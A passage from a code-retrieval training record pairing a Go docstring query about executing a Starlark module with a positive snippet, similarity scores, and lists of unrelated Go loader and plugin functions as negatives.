&yaml.Yaml{}\n\tprocessorFactory := factory.NewProcessorFactory(yaml, fileIO)\n\timporter := importer.NewImporter(fileIO, processorFactory)\n\tloader := &library.Loader{\n\t\tFile: fileIO,\n\t\tYaml: yaml,\n\t}\n\tlister := &scenario.Lister{\n\t\tLoader: loader,\n\t}\n\tpatch := diffmatchpatch.New()\n\tdiff := &diff.FileDiff{\n\t\tFile: fileIO,\n\t\tPatch: patch,\n\t}\n\tinterpolator := bosh.NewBoshInterpolator()\n\tresolver := &composer.Resolver{\n\t\tLoader: loader,\n\t\tProcessorFactory: processorFactory,\n\t\tInterpolator: interpolator,\n\t}\n\texecutor := &plan.InterpolationExecutor{\n\t\tProcessorFactory: processorFactory,\n\t\tInterpolator: interpolator,\n\t\tDiff: diff,\n\t\tOutput: logger,\n\t\tFile: fileIO,\n\t\tYaml: yaml,\n\t}\n\tcomposer := &composer.ComposerImpl{\n\t\tResolver: resolver,\n\t\tFile: fileIO,\n\t\tExecutor: executor,\n\t}\n\n\treturn &libImpl{\n\t\tcomposer: composer,\n\t\tlister: lister,\n\t\tloader: loader,\n\t\tfile: fileIO,\n\t\tyaml: yaml,\n\t\tprocFact: processorFactory,\n\t\timporter: importer,\n\t\tinterpolator: interpolator,\n\t}\n}", "func (l *loader) compile(name string) (string, error) {\n // Copy the file to the objects directory with a different name\n // each time, to avoid retrieving the cached version.\n // Apparently the cache key is the path of the file compiled and\n // there's no way to invalidate it.\n\n f, err := ioutil.ReadFile(filepath.Join(l.pluginsDir, name + \".go\"))\n if err != nil {\n return \"\", fmt.Errorf(\"Cannot read %s.go: %v\", name, err)\n }\n\n name = fmt.Sprintf(\"%d.go\", rand.Int())\n srcPath := filepath.Join(l.objectsDir, name)\n if err := ioutil.WriteFile(srcPath, f, 0666); err != nil {\n return \"\", fmt.Errorf(\"Cannot write %s: %v\", name, err)\n }\n\n objectPath := srcPath[:len(srcPath)-3] + \".so\"\n\n cmd := exec.Command(\"go\", \"build\", \"-buildmode=plugin\", \"-o=\"+objectPath, srcPath)\n cmd.Stderr = os.Stderr\n cmd.Stdout = os.Stdout\n if err := cmd.Run(); err != nil {\n return \"\", fmt.Errorf(\"Cannot compile %s: %v\", name, err)\n }\n\n return objectPath, nil\n}", "func (h *GiteaTemplateHelper) loadTemplate(name string) ([]byte, error) {\n\tpath := fmt.Sprintf(\"%s/%s.yaml\", h.TemplatePath, name)\n\ttpl, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tparsed, err := template.New(\"gitea\").Parse(string(tpl))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar buffer bytes.Buffer\n\terr = parsed.Execute(&buffer, h.Parameters)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buffer.Bytes(), nil\n}", "func (l *Loader) Load() ([]byte, error) {\n\treturn ioutil.ReadFile(l.filename)\n}", "func serviceLoader(h http.Handler, svcs ...service) http.Handler {\n\tfor _, svc := range svcs {\n\t\th = svc(h)\n\t}\n\treturn h\n}", "func (wrapper *TvmWrapper) LoadModel(modelParam *ModelParam) (*moduleInfo, error) {\n\tdefer runtime.GC()\n\n\t// debug model parameters\n\tfmt.Print(modelParam.DebugStr())\n\n\t// load module library\n\tfmt.Print(\"start to load module library...\\n\")\n\tmodLibP, err := gotvm.LoadModuleFromFile(modelParam.ModelLibPath)\n\tif err != nil {\n\t\tfmt.Print(err.Error())\n\t\treturn nil, err\n\t}\n\n\t// read module json file\n\tfmt.Print(\"start to read module json file...\\n\")\n\tbytes, err := ioutil.ReadFile(modelParam.ModelJSONPath)\n\tif err != nil {\n\t\tfmt.Print(err.Error())\n\t\treturn nil, err\n\t}\n\tmodJsonStr := string(bytes)\n\n\t// create graph module of tvm\n\tfmt.Print(\"start to create graph module of tvm...\\n\")\n\tfuncp, err := gotvm.GetGlobalFunction(\"tvm.graph_runtime.create\")\n\tif err != nil {\n\t\tfmt.Printf(err.Error())\n\t\treturn nil, err\n\t}\n\t// graph_runtime.create\n\t// arg[0] : model json text\n\t// arg[1] : model library\n\t// arg[2] : device type (ex. KDLCPU, KDLGPU...)\n\t// arg[3] : device id\n\tgraphrt, err := funcp.Invoke(modJsonStr, modLibP, wrapper.config.DeviceType, (int64)(0))\n\tif err != nil {\n\t\tfmt.Print(err.Error())\n\t\treturn nil, err\n\t}\n\tgraphmod := graphrt.AsModule()\n\n\t// import params to graph module\n\tfmt.Print(\"start to import params to graph module...\\n\")\n\tbytes, err = ioutil.ReadFile(modelParam.ModelParamsPath)\n\tif err != nil {\n\t\tfmt.Print(err.Error())\n\t\treturn nil, err\n\t}\n\tfuncp, err = graphmod.GetFunction(\"load_params\")\n\tif err != nil {\n\t\tfmt.Print(err.Error())\n\t\treturn nil, err\n\t}\n\t_, err = funcp.Invoke(bytes)\n\tif err != nil {\n\t\tfmt.Print(err.Error())\n\t\treturn nil, err\n\t}\n\n\t// create module information\n\tfmt.Print(\"start to create module information...\\n\")\n\tinfo := newModuleInfo(graphmod, modelParam.InputShape, modelParam.OutputShape)\n\treturn info, nil\n}", "func New(filename string, options ...Option) *Loader {\n\tl := Loader{filename: filename}\n\tfor _, option := range options {\n\t\toption.applyOption(&l)\n\t}\n\treturn &l\n}", "func load(ctx context.Context, ds *localdatasource.DataSource, pathList string) {\n\tpaths := strings.Split(pathList, \",\")\n\tloaded := len(paths)\n\tfor _, path := range paths {\n\t\tvar err error\n\t\tif *gopathMode {\n\t\t\terr = ds.LoadFromGOPATH(ctx, path)\n\t\t} else {\n\t\t\terr = ds.Load(ctx, path)\n\t\t}\n\t\tif err != nil {\n\t\t\tlog.Error(ctx, err)\n\t\t\tloaded--\n\t\t}\n\t}\n\n\tif loaded == 0 {\n\t\tlog.Fatalf(ctx, \"failed to load module(s) at %s\", pathList)\n\t}\n}", "func loadFunction(path string) (function, error) {\n\tpl, err := plugin.Open(path)\n\tif err != nil {\n\t\treturn function{}, fmt.Errorf(\"Cannot open %s plugin: %v\", path, err)\n\t}\n\trouteRaw, err := pl.Lookup(\"Route\")\n\tif err != nil {\n\t\treturn function{}, fmt.Errorf(\"Cannot lookup Route: %v\", err)\n\t}\n\troute := *routeRaw.(*string)\n\n\thandlerRaw, err := pl.Lookup(\"Handle\")\n\tif err != nil {\n\t\treturn function{}, fmt.Errorf(\"Cannot lookup handler: %v\", err)\n\t}\n\thandler := handlerRaw.(functionHandler)\n\n\treturn function{\n\t\troute: route,\n\t\thandler: handler,\n\t}, nil\n}", "func newLoad() *cobra.Command {\n\tvar cluster []string\n\tvar dbName string\n\tvar fileName string\n\tvar batch, verbose bool\n\n\tcmd := &cobra.Command{\n\t\tUse: \"load\",\n\t\tShort: \"Execute the statements in the given file.\",\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tif fileName == \"\" {\n\t\t\t\tlog.Fatal(\"no filename specified\")\n\t\t\t}\n\t\t\tctx := context.Background()\n\t\t\tdbFile(ctx, &globalKeys, fileName, dbName, batch, verbose, cluster)\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tflags := cmd.Flags()\n\tflags.StringSliceVarP(&cluster, \"cluster\", \"c\", clusterList(), \"addresses of existing cluster nodes\")\n\tflags.StringVarP(&dbName, \"database\", \"d\", envy.StringDefault(\"DQLITED_DB\", defaultDatabase), \"name of database to use\")\n\tflags.StringVarP(&fileName, \"file\", \"f\", \"\", \"name of file to load\")\n\tflags.BoolVarP(&batch, \"batch\", \"b\", false, \"run all statements as a single transaction\")\n\tflags.BoolVarP(&verbose, \"verbose\", \"v\", false, \"be chatty about activities\")\n\n\treturn cmd\n}", "func TestDirLoadSuccess(t *testing.T) {\n\ttempDir, err := ioutil.TempDir(\"\", \"\")\n\trequire.Empty(t, err, \"cannot create temp dir\")\n\n\tpluginDir := filepath.Join(tempDir, \"plugin\")\n\terr = os.MkdirAll(pluginDir, os.ModePerm)\n\trequire.Empty(t, err, \"cannot create plugin dir\")\n\n\tfiles := []string{\"hello.plugin.zsh\", \"world.plugin.zsh\", \"impretty.zsh-theme\"}\n\tfor _, filename := range files {\n\t\t_, err = os.Create(filepath.Join(pluginDir, filename))\n\t\trequire.Empty(t, err, \"cannot create plugin file\")\n\t}\n\n\tplugin, err := MakeDir(tempDir, map[string]string{\"directory\": \"plugin\"})\n\trequire.Empty(t, err, \"cannot create a plugin object\")\n\n\tfpath, exec, err := (*plugin).Load()\n\trequire.Empty(t, err, \"cannot load a valid plugin\")\n\tassert.Equal(t, []string{pluginDir}, fpath, \"invalid fpath\")\n\n\tsourceLines := make([]string, 0)\n\tfor _, filename := range files {\n\t\tsourceLines = append(sourceLines, \"source \"+filepath.Join(pluginDir, filename))\n\t}\n\n\tassert.Equal(t, sourceLines, exec, \"invalid exec lines\")\n}", "func makeDataSource(mod string, res string) tokens.ModuleMember {\n\tfn := string(unicode.ToLower(rune(res[0]))) + res[1:]\n\treturn makeMember(mod+\"/\"+fn, res)\n}", "func (srm *StandardResourceManager) ImportDefault() {\n\t// TODO: \"makeWalkHandler\"\n\t// import Ships\n\t// walk resources/entities/ships\n\n\tshipImporter := func(path string, info os.FileInfo, err error) error {\n\t\t// fail on error\n\t\tif err != nil {\n\t\t\tlog.Println(\"err!\")\n\t\t\treturn err\n\t\t}\n\n\t\t// skip directories\n\t\tif info.IsDir() {\n\t\t\treturn nil\n\t\t}\n\n\t\t// only import json files\n\t\tif filepath.Ext(path) != \".json\" {\n\t\t\treturn nil // TODO: log it?\n\t\t}\n\t\tship, err := LoadShip(path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tcollection, filename := filepath.Split(path)\n\n\t\tname := strings.Replace(filename, filepath.Ext(filename), \"\", 1)\n\n\t\timagePath := fmt.Sprintf(\"%s/images/ships/%s.png\", srm.basePath, strings.ToLower(name))\n\n\t\tpic, err := loadPicture(imagePath)\n\t\tif err != nil {\n\t\t\t// TODO: error handler\n\t\t\tpanic(err)\n\t\t}\n\n\t\t// create the resource\n\t\tresource := srm.createResource(pic, ship)\n\t\tresource.collection = collection\n\n\t\tsrm.resources[name] = resource\n\n\t\t//\t\tlog.Println(\"Imported\", name)\n\n\t\treturn nil\n\t}\n\n\tsystemImporter := func(path string, info os.FileInfo, err error) error {\n\t\t// fail on error\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// skip directories\n\t\tif info.IsDir() {\n\t\t\treturn nil\n\t\t}\n\n\t\t// only import json files\n\t\tif filepath.Ext(path) != \".json\" {\n\t\t\treturn nil // TODO: log it?\n\t\t}\n\t\tsys, err := LoadSystem(path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tcollection, _ := filepath.Split(path)\n\n\t\tfor _, c := range sys.Celestials() {\n\t\t\timagePath := fmt.Sprintf(\"%s/%s\", srm.basePath, c.ImagePath())\n\n\t\t\tpic, err := loadPicture(imagePath)\n\t\t\tif err != nil {\n\t\t\t\t// TODO: error handler\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\t// create the resource\n\t\t\tresource := srm.createResource(pic, c)\n\t\t\tresource.collection = collection\n\n\t\t\tsrm.resources[c.Name()] = resource\n\t\t\t//\t\t\tlog.Println(\"Imported\", c.name)\n\t\t}\n\n\t\t//\t\tlog.Println(\"Imported\", sys.name)\n\n\t\treturn nil\n\t}\n\n\tentityImporter := func(path string, info os.FileInfo, err error) error {\n\t\t// fail on error\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// skip directories\n\t\tif info.IsDir() {\n\t\t\treturn nil\n\t\t}\n\n\t\t// prepare the resource\n\t\tcollection, filename := filepath.Split(path)\n\n\t\tname := strings.Replace(filename, filepath.Ext(filename), \"\", 1)\n\n\t\tpic, err := loadPicture(path)\n\t\tif err != nil {\n\t\t\t// TODO: error handler\n\t\t\tpanic(err)\n\t\t}\n\n\t\t// create the entity\n\t\tentity := NewBaseEntity(name, pic.Bounds())\n\n\t\t// create the resource\n\t\tresource := srm.createResource(pic, entity)\n\t\tresource.collection = collection\n\n\t\tsrm.resources[name] = resource\n\n\t\t//\t\tlog.Println(\"Imported\", name)\n\n\t\treturn nil\n\t}\n\n\tshipPath := fmt.Sprintf(\"%s/entities/ships\", srm.basePath)\n\tsystemPath := fmt.Sprintf(\"%s/universe/systems\", srm.basePath)\n\tstarPath := fmt.Sprintf(\"%s/images/stars\", srm.basePath)\n\tdustPath := fmt.Sprintf(\"%s/images/dust\", srm.basePath)\n\n\tvar err error\n\n\t// import ships\n\terr = filepath.Walk(shipPath, shipImporter)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// import celestials\n\terr = filepath.Walk(systemPath, systemImporter)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// import stars\n\terr = filepath.Walk(starPath, entityImporter)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// import dust\n\terr = filepath.Walk(dustPath, entityImporter)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "func (g *Generator) loadTemplate(t *template.Template, tmplPath string) (*template.Template, error) {\n\t// Make the filepath relative to the filemap.\n\ttmplPath = g.FileMap.relative(tmplPath)[0]\n\n\t// Determine the open function.\n\treadFile := g.ReadFile\n\tif readFile == nil {\n\t\treadFile = ioutil.ReadFile\n\t}\n\n\t// Read the file.\n\tdata, err := readFile(tmplPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Create a new template and parse.\n\t_, name := path.Split(tmplPath)\n\treturn t.New(name).Parse(string(data))\n}", "func loadCreateWorkflowRequest(t *testing.T, filename string) (r *requests.CreateWorkflow) {\n\tloadJSON(t, filename, &r)\n\treturn\n}", "func (p *MasterWorker) Loadmaster() error {\n\terr := p.loadworks()\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = p.loaddir()\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = p.loadlog()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func createOrLoadFrameworkInfo(config util.Scheduler, store store.Store) (*mesos.FrameworkInfo, error) {\n\tfw := &mesos.FrameworkInfo{\n\t\t//User: proto.String(config.MesosFrameworkUser),\n\t\tUser: proto.String(\"\"),\n\t\tName: proto.String(\"bcs\"),\n\t\tHostname: proto.String(config.Hostname),\n\t\tFailoverTimeout: proto.Float64(60 * 60 * 24 * 7),\n\t\tCheckpoint: proto.Bool(true),\n\t\tCapabilities: []*mesos.FrameworkInfo_Capability{\n\t\t\t{\n\t\t\t\tType: mesos.FrameworkInfo_Capability_PARTITION_AWARE.Enum(),\n\t\t\t},\n\t\t},\n\t}\n\n\tframeworkID, err := store.FetchFrameworkID()\n\tif err != nil {\n\t\tblog.Errorf(\"fetch framework id from zk failed(ignore the error for now, we'll create it below), \" +\n\t\t\t\"err: %s\", err.Error())\n\t\tframeworkID = \"\"\n\t}\n\tif frameworkID != \"\" {\n\t\tblog.Infof(\"fetch framework id success: %s\", frameworkID)\n\t\tfw.Id = &mesos.FrameworkID{\n\t\t\tValue: proto.String(frameworkID),\n\t\t}\n\t}\n\treturn fw, nil\n}" ]
[ "0.69174427", "0.60957247", "0.59598404", "0.57971555", "0.57845634", "0.568306", "0.567531", "0.56747866", "0.55498624", "0.55395716", "0.5537143", "0.55357504", "0.5530393", "0.5469123", "0.5450717", "0.54438096", "0.5430167", "0.5402078", "0.5357989", "0.53470635", "0.53374183", "0.53183633", "0.53088963", "0.52953744", "0.528871", "0.5251205", "0.5226917", "0.5214371", "0.5213196", "0.5197991", "0.517769", "0.51473254", "0.50993675", "0.50918704", "0.50836515", "0.50724244", "0.50467557", "0.50232005", "0.5015517", "0.50155085", "0.5008425", "0.4975594", "0.4965278", "0.49641985", "0.4959792", "0.4942692", "0.49367768", "0.49130613", "0.49025872", "0.48594335", "0.48261786", "0.48238945", "0.48117977", "0.481082", "0.48042607", "0.47992155", "0.4774173", "0.47675148", "0.47626695", "0.4758714", "0.47317785", "0.47308958", "0.4727141", "0.47130656", "0.4710251", "0.47080755", "0.4693756", "0.46804744", "0.46804705", "0.4666226", "0.465711", "0.46489063", "0.46344453", "0.4631563", "0.4630061", "0.462148", "0.46046513", "0.46013394", "0.45861512", "0.4562192", "0.4559986", "0.45120826", "0.4501161", "0.44991922", "0.44960633", "0.44932503", "0.44902176", "0.44836536", "0.44819796", "0.44776383", "0.44775048", "0.44683513", "0.44613895", "0.4457202", "0.44562322", "0.44442248", "0.4433112", "0.4431332", "0.44293994", "0.4422131" ]
0.71230793
0
execModule executes a module using a given load function and returns the global variables.
func execModule(module string, load loadFunc) (starlark.StringDict, error) { return load(&starlark.Thread{Name: module, Load: load}, module) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func load(thread *starlark.Thread, module string) (starlark.StringDict, error) {\n\tif module == \"assert.star\" {\n\t\treturn starlarktest.LoadAssertModule()\n\t}\n\tif module == \"json.star\" {\n\t\treturn starlark.StringDict{\"json\": json.Module}, nil\n\t}\n\tif module == \"time.star\" {\n\t\treturn starlark.StringDict{\"time\": time.Module}, nil\n\t}\n\tif module == \"math.star\" {\n\t\treturn starlark.StringDict{\"math\": starlarkmath.Module}, nil\n\t}\n\tif module == \"proto.star\" {\n\t\treturn starlark.StringDict{\"proto\": proto.Module}, nil\n\t}\n\n\t// TODO(adonovan): test load() using this execution path.\n\tfilename := filepath.Join(filepath.Dir(thread.CallFrame(0).Pos.Filename()), module)\n\treturn starlark.ExecFile(thread, filename, nil, nil)\n}", "func (self *Build) load(ctx core.Context, moduleLabel core.Label) (starlark.StringDict, error) {\n\t// Only .bzl files can ever be loaded.\n\tif filepath.Ext(string(moduleLabel.Target)) != \".bzl\" {\n\t\treturn nil, fmt.Errorf(\"%v: load not allowed: %v is not a .bzl file\", ctx.Label(),\n\t\t\tmoduleLabel)\n\t}\n\tmoduleLabelString := moduleLabel.String()\n\n\te, ok := self.loadCache[moduleLabelString]\n\tif ok {\n\t\tif e == nil {\n\t\t\treturn nil, fmt.Errorf(\"%v: load of %v failed: cycle in load graph\",\n\t\t\t\tctx.Label(), moduleLabel)\n\t\t}\n\t\treturn e.globals, e.err\n\t}\n\n\tsourceData, err := self.sourceFileReader(moduleLabel)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%v: load of %v failed: read failed: %v\", ctx.Label(),\n\t\t\tmoduleLabel, err)\n\t}\n\n\tself.loadCache[moduleLabelString] = nil\n\n\tthread := createThread(self, moduleLabel, core.FileTypeBzl)\n\tglobals, err := starlark.ExecFile(thread, moduleLabelString, sourceData,\n\t\tbuiltins.InitialGlobals(core.FileTypeBzl))\n\tself.loadCache[moduleLabelString] = &loadCacheEntry{globals, err}\n\treturn globals, err\n}", "func load(thread *starlark.Thread, module string) (starlark.StringDict, error) {\n\tctx := GetContextImpl(thread)\n\tmoduleLabel, err := core.ParseLabel(ctx.Label().Workspace, ctx.Label().Package, module)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%v: load of %v failed: invalid label: %v\", ctx.Label(),\n\t\t\tmodule, err)\n\t}\n\treturn ctx.build.load(ctx, moduleLabel)\n}", "func makeLoad(workingDir string) func(thread *starlark.Thread, module string) (starlark.StringDict, error) {\n\tf := repl.MakeLoad()\n\n\treturn func(thread *starlark.Thread, module string) (starlark.StringDict, error) {\n\t\t// To ensure config generation is hermetic we require that all loads specify a module\n\t\t// with an explicit relative path.\n\t\tif !isExplicitRelativePath(module) {\n\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\"cannot load '%s', path to module must be relative (ie begin with ./ or ../)\",\n\t\t\t\tmodule,\n\t\t\t)\n\t\t}\n\n\t\tpath, err := filepath.Abs(filepath.Join(workingDir, module))\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"failed to get absolute path to %s\", module)\n\t\t}\n\n\t\treturn f(thread, path)\n\t}\n}", "func MakeLoad() func(thread *starlark.Thread, module string) (starlark.StringDict, error) {\n\ttype entry struct {\n\t\tglobals starlark.StringDict\n\t\terr error\n\t}\n\n\tvar cache = make(map[string]*entry)\n\n\treturn func(thread *starlark.Thread, module string) (starlark.StringDict, error) {\n\t\te, ok := cache[module]\n\t\tif e == nil {\n\t\t\tif ok {\n\t\t\t\t// request for package whose loading is in progress\n\t\t\t\treturn nil, fmt.Errorf(\"cycle in load graph\")\n\t\t\t}\n\n\t\t\t// Add a placeholder to indicate \"load in progress\".\n\t\t\tcache[module] = nil\n\n\t\t\t// Load it.\n\t\t\tthread := &starlark.Thread{Name: \"exec \" + module, Load: thread.Load}\n\t\t\tglobals, err := starlark.ExecFile(thread, module, nil, nil)\n\t\t\te = &entry{globals, err}\n\n\t\t\t// Update the cache.\n\t\t\tcache[module] = e\n\t\t}\n\t\treturn e.globals, e.err\n\t}\n}", "func execEval(_ int, p *gop.Context) {\n\targs := p.GetArgs(4)\n\tret, ret1 := types.Eval(args[0].(*token.FileSet), args[1].(*types.Package), token.Pos(args[2].(int)), args[3].(string))\n\tp.Ret(4, ret, ret1)\n}", "func (m *Mock) ModuleExecute() (err error) {\n\targs := m.Called()\n\treturn args.Get(0).(error)\n}", "func TestRuntimeRequireEval(t *testing.T) {\n\tdefer os.RemoveAll(DATA_PATH)\n\twriteTestModule()\n\twriteLuaModule(\"test-invoke.lua\", `\nlocal nakama = require(\"nakama\")\nlocal test = require(\"test\")\ntest.printWorld()\n`)\n\n\t_, err := newRuntimePool()\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n}", "func LoadModule() (starlark.StringDict, error) {\n\tonce.Do(func() {\n\t\tbsoupModule = starlark.StringDict{\n\t\t\t\"bsoup\": &starlarkstruct.Module{\n\t\t\t\tName: \"bsoup\",\n\t\t\t\tMembers: starlark.StringDict{\n\t\t\t\t\t\"parseHtml\": starlark.NewBuiltin(\"parseHtml\", ParseHTML),\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t})\n\treturn bsoupModule, nil\n}", "func loadPlugin(module *python.PyObject) (*python.PyObject, *python.PyObject) {\n\tmapf := module.GetAttrString(\"map\")\n\tdefer mapf.DecRef()\n\treducef := module.GetAttrString(\"reduce\")\n\tdefer reducef.DecRef()\n\treturn mapf, reducef\n\n}", "func (r *Runtime) Load(wasmBytes []byte) (*Module, error) {\n\tresult := C.m3Err_none\n\tbytes := C.CBytes(wasmBytes)\n\tlength := len(wasmBytes)\n\tvar module C.IM3Module\n\tresult = C.m3_ParseModule(\n\t\tr.cfg.Environment.Ptr(),\n\t\t&module,\n\t\t(*C.uchar)(bytes),\n\t\tC.uint(length),\n\t)\n\tif result != nil {\n\t\treturn nil, errParseModule\n\t}\n\tif module.memoryImported {\n\t\tmodule.memoryImported = false\n\t}\n\tresult = C.m3_LoadModule(\n\t\tr.Ptr(),\n\t\tmodule,\n\t)\n\tif result != nil {\n\t\treturn nil, errLoadModule\n\t}\n\tresult = C.m3_LinkSpecTest(r.Ptr().modules)\n\tif result != nil {\n\t\treturn nil, errors.New(\"LinkSpecTest failed\")\n\t}\n\t// if r.cfg.EnableWASI {\n\t// \tC.m3_LinkWASI(r.Ptr().modules)\n\t// }\n\tm := NewModule((ModuleT)(module))\n\treturn m, nil\n}", "func (c *Client) LoadModule(name string, argument string) (index uint32, err error) {\n\tvar idx uint32\n\tr, err := c.request(commandLoadModule,\n\t\tstringTag, []byte(name), byte(0), stringTag, []byte(argument), byte(0))\n\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\terr = bread(r, uint32Tag, &idx)\n\treturn idx, err\n}", "func (l *Loader) Load(module string) (syms *Struct, err error) {\n\tdefer func() {\n\t\terr = errors.Annotate(err, \"in %s\", module).Err()\n\t}()\n\n\tl.init()\n\tif !l.loading.Add(module) {\n\t\treturn nil, errors.New(\"recursive dependency\")\n\t}\n\tdefer l.loading.Del(module)\n\n\t// Already processed it?\n\tif syms, ok := l.symbols[module]; ok {\n\t\treturn syms, nil\n\t}\n\n\t// Load and parse the source code into a distilled AST.\n\tsrc, err := l.Source(module)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tl.sources[module] = src\n\tmod, err := ast.ParseModule(module, src, func(s string) (string, error) {\n\t\treturn l.Normalize(module, s)\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Recursively resolve all references in 'mod' to their concrete definitions\n\t// (perhaps in other modules). This returns a struct with a list of all\n\t// symbols defined in the module.\n\tvar top *Struct\n\tif top, err = l.resolveRefs(&mod.Namespace, nil); err != nil {\n\t\treturn nil, err\n\t}\n\tl.symbols[module] = top\n\treturn top, nil\n}", "func(r *Runtime) Load(wasmBytes []byte) (*Module, error) {\n\tresult := C.m3Err_none\n\tbytes := C.CBytes(wasmBytes)\n\tlength := len(wasmBytes)\n\tvar module C.IM3Module\n\tresult = C.m3_ParseModule(\n\t\tr.cfg.Environment.Ptr(),\n\t\t&module,\n\t\t(*C.uchar)(bytes),\n\t\tC.uint(length),\n\t)\n\tif result != nil {\n\t\treturn nil, errParseModule\n\t}\n\tresult = C.m3_LoadModule(\n\t\tr.Ptr(),\n\t\tmodule,\n\t)\n\tif result != nil {\n\t\treturn nil, errLoadModule\n\t}\n\tresult = C.m3_LinkSpecTest(r.Ptr().modules)\n\tif result != nil {\n\t\treturn nil, errors.New(\"LinkSpecTest failed\")\n\t}\n\tif r.cfg.EnableWASI {\n\t\tC.m3_LinkWASI(r.Ptr().modules)\n\t}\n\tm := NewModule((ModuleT)(module))\n\treturn m, nil\n}", "func Loader(state *lua.LState) int {\n\tmod := state.SetFuncs(state.NewTable(), map[string]lua.LGFunction{\n\t\t\"compile\": func(L *lua.LState) int {\n\t\t\tcode := L.CheckString(1)\n\n\t\t\tluaCode, err := Compile(L, code)\n\t\t\tif err != nil {\n\t\t\t\tstate.Push(lua.LNil)\n\t\t\t\tstate.Push(lua.LString(err.Error()))\n\n\t\t\t\treturn 2\n\t\t\t}\n\n\t\t\tL.Push(lua.LString(luaCode))\n\t\t\treturn 1\n\t\t},\n\t})\n\n\t// returns the module\n\tstate.Push(mod)\n\treturn 1\n}", "func (r *Execute) Run(thread *starlark.Thread, fn *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple) (starlark.Value, error) {\n\tvar mids *starlark.List\n\terr := starlark.UnpackPositionalArgs(fn.Name(), args, kwargs, 1, &mids)\n\tif err != nil {\n\t\treturn starlark.None, fmt.Errorf(\"unpacking arguments: %v\", err.Error())\n\t}\n\n\tfor i := 0; i < mids.Len(); i++ {\n\t\tval, ok := mids.Index(i).(Middleware)\n\t\tif !ok {\n\t\t\treturn starlark.None, fmt.Errorf(\"cannot get module from execute\")\n\t\t}\n\n\t\tr.Modules = append(r.Modules, val)\n\t}\n\n\treturn starlark.None, nil\n}", "func (r *Runtime) LoadModule(module *Module) (*Module, error) {\n\tif module.Ptr().memoryImported {\n\t\tmodule.Ptr().memoryImported = false\n\t}\n\tresult := C.m3Err_none\n\tresult = C.m3_LoadModule(\n\t\tr.Ptr(),\n\t\tmodule.Ptr(),\n\t)\n\tif result != nil {\n\t\treturn nil, errLoadModule\n\t}\n\tif r.cfg.EnableSpecTest {\n\t\tC.m3_LinkSpecTest(r.Ptr().modules)\n\t}\n\t// if r.cfg.EnableWASI {\n\t// \tC.m3_LinkWASI(r.Ptr().modules)\n\t// }\n\treturn module, nil\n}", "func Execute(name string, args []string) error {\n\treturn builtinsMap[name](args...)\n}", "func (gvc *GlobalVariableCache) LoadGlobalVariables(loadFn func() ([]chunk.Event, []*ast.ResultField, error)) ([]chunk.Event, []*ast.ResultField, error) {\n\tsucc, rows, fields := gvc.Get()\n\tif succ {\n\t\treturn rows, fields, nil\n\t}\n\tfn := func() (interface{}, error) {\n\t\tresEvents, resFields, loadErr := loadFn()\n\t\tif loadErr != nil {\n\t\t\treturn nil, loadErr\n\t\t}\n\t\tgvc.UFIDelate(resEvents, resFields)\n\t\treturn &loadResult{resEvents, resFields}, nil\n\t}\n\tres, err, _ := gvc.SingleFight.Do(\"loadGlobalVariable\", fn)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tloadRes := res.(*loadResult)\n\treturn loadRes.rows, loadRes.fields, nil\n}", "func (p *GenericPlugin) Load() error {\n\n\tp.mu.Lock()\n\tdefer p.mu.Unlock()\n\n\tswitch p.state {\n\tcase stateNotLoaded:\n\tcase stateLoaded:\n\t\tp.agent.Logger().Printf(\"Cannot Load() module [ %s ], symbols already loaded\", p.Name())\n\t\treturn nil\n\tcase stateActive:\n\t\tp.agent.Logger().Printf(\"Cannot Load() module [ %s ], already running\", p.Name())\n\t\treturn nil\n\t}\n\n\t// Load the default symbols.\n\tif err := p.loadDefaultSymbols(); err != nil {\n\t\tp.agent.Logger().Printf(\"plugin load error: Failed to load default symbols from file [ %s ]\", p.filename)\n\t\treturn err\n\t}\n\n\tif p.init == nil {\n\t\tp.agent.Logger().Printf(\"Loaded all symbols except Init() for module [ %s ]\", p.Name())\n\t\treturn nil\n\t}\n\n\tp.state = stateLoaded\n\n\tp.agent.Logger().Printf(\"Loaded all symbols for module [ %s ]\", p.Name())\n\n\treturn nil\n}", "func (r *LoadResponder) Run(thread *starlark.Thread, fn *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple) (starlark.Value, error) {\n\tvar name string\n\tvar cfg *starlark.Dict\n\terr := starlark.UnpackPositionalArgs(fn.Name(), args, kwargs, 2, &name, &cfg)\n\tif err != nil {\n\t\treturn starlark.None, fmt.Errorf(\"unpacking arguments: %v\", err.Error())\n\t}\n\n\tjs := json.RawMessage(cfg.String())\n\n\tif strings.Index(name, \"http.handlers.\") == -1 {\n\t\tname = fmt.Sprintf(\"http.handlers.%s\", name)\n\t}\n\n\tinst, err := r.Ctx.LoadModuleByID(name, js)\n\tif err != nil 